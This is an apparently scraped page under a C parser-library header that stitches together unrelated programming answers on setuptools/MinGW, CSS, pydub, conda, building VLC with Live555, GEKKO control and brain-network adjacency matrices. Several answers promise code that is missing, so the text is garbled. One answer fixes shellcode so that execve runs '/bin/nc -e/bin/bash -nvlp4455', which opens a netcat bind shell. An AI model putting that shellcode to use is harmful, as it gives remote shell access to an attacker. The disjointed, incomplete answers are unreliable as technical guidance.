mpc | A Parser Combinator library for C | Parser library

I just accidentally found the solution to the above problem. The problem is the package setuptools (which in my case is the version 60.9.1)! Indeed, by executing python setup.py build_ext --inplace --compiler=mingw32, the latter will call the class Mingw32CCompiler into setuptools/_distutils/cygwinccompiler.py which contains these two lines:

You don't need overflow: hidden on the body element.

Just make the .mpct-container full height — height: 100% not height: 2400px.

And give its content (.mpct-timeline1) the height: 2400px.

The output means that make invoked this command:

As you can see in strace, the execve command executes as: execve("/bin//nc", ["/bin//nc", "/bin//nc-e //bin/bash -nvlp 4455"], NULL) = 0 It seems to be taking the whole /bin//nc-e //bin/bash -nvlp 4455 as a single argument and thus thinks it's a hostname. In order to get around that, the three argv[] needed for execve() is pushed seperately. argv[]=["/bin/nc", "-e/bin/bash", "-nvlp4455"] These arguments are each pushed into edx, ecx, and ebx. since ebx needs to be /bin/nc, which was already done in the original code. we just needed to push 2nd and 3rd argv[] into ecx and edx and push it into stack. After that we just copy the whole stack into ecx, and then xor edx,edx to set edx as NULL.

Here is the correct solution:

Thanks for suggestion from @diggusbickus , I found and compared differences between mp3 file generated from foobar and pydub. The difference is encoding.

In pydub-converted file, which tags and album art were added by mutagen:

Build tags in you environment.yml are quite strict requirements to satisfy and most often not needed. In your case, changing the yml file to

So what happened is that the library in Debian providing support for live555 was removed in February of this year, this affects all downstream distros including but not limited to RPi OS and Ubuntu:

https://askubuntu.com/a/1363113

The 2 active versions were 2020.01.19-1 and 2018.11.26-1.1, Live555 has since added GPL license headers to the offending files, however the RFC issue remains.

Now you may be tempted to just download the latest Live555 source code and compile it... it does not work. There have been changes to function names and structures referenced by VLC, and as such VLC will not compile against the source. You need to get an older version, I specifically used this one, which is a tweaked snapshot from 2020 prior to the modifications that prevent VLC compilation:

https://github.com/rgaufman/live555

The configuration you want is ./genMakefiles linux-with-shared-libraries, I do not know if it is required but since my system is x86-64-bit I added -m64 to the compiler options first

After compilation and install, I went on to compile VLC, adding '--enable-live555' and '--with-live555-tree=extras/live555-master' after placing the root Live555 folder in the VLC extras folder, however VLC failed to compile, it turns out the Live555's make install does not copy all the header files needed to where VLC is looking. They were dropped as 4 subfolders into /usr/local/include/, and the actual libs into /usr/local/lib/. Adding the correct CXX/CPP flags will make it look where they were put, however I put them all in a single folder and used 1 flag.

I also had to '--disable-mod' to work around a dependency version issue that I had no interest in fixing, since I do not use modplug or any mod files.

50 minutes later... VLC successfully compiled! However it was expecting the libraries for Live555 to be in /usr/lib/ not /usr/local/lib/, since it took so long to compile I was just fine with linking or copying the libraries into the expected folder, and after that VLC works with RTSP when linked to the new file. Or you can choose to maintain the original VLC and run the new file directly if you need to load the camera feeds.

There are a many ways to preferentially select one MV over another with additional resources on the course website with Control Objectives and Control Tuning.

• COST (minimize or maximize use of MV)
• DCOST (change penalty)
• DMAX (move change constraint)
• TIER (for strong decoupling)

For this particular problem, it appears that the two MVs (Manipulated Variables) Q1 and Q2 values should be a ratio and there is only one CV (Controlled Variable). An easy way to accomplish this is to add another equation such as:

This is not really a programming question, but I will try to answer it. The webpage with the data sources states that the adjacent matrix files for brain samples give distances between connected nodes expressed in pixels of the images used to reconstruct the networks. The paper then explains that to get the real adjacency matrix Mij (with 0 and 1 values only) the authors consider as connected nodes where the distance is at most 16 micrometers. I don't see the information on how many pixels in the image corresponds to one micrometer. This would be needed to compute the same matrix Mij that the authors used in their calculations.

Furthermore, the value〈k〉is not the degree centrality or the clustering coefficient (that depend on a node), but rather the average number of connections per node in the network, computed using the matrix Mij. The paper then compares the observed distributions of degree centralities and clustering coefficients in the brain and cosmic networks to the distribution one would see in a random network with the same number of nodes and the same value of〈k〉. The conclusion is that brain and cosmic networks are highly non-random.

Edits:

1. The conversion of 0.32 micrometers per pixel seems to be right. In the files with data on brain samples (both for cortex and cerebellum) the largest value is 50 pixels, which with this conversion corresponds to 16 micrometers. This suggests that the authors of the paper already thresholded the matrices, listing in them only distances not exceeding 16 micrometers. In view of this, to obtain the matrix Mij with 0 and 1 values only, one simply needs to replace all non-zero values with 1. An issue is that using the matrices obtained in this way one gets 〈k〉 = 9.22 for cerebellum and 〈k〉 = 7.13 for cortex, which is somewhat outside the ranges given in the paper. I don't know how to account for this discrepancy.

2. Negative centrality values are due to a mistake (missing parentheses) in the code. It should be: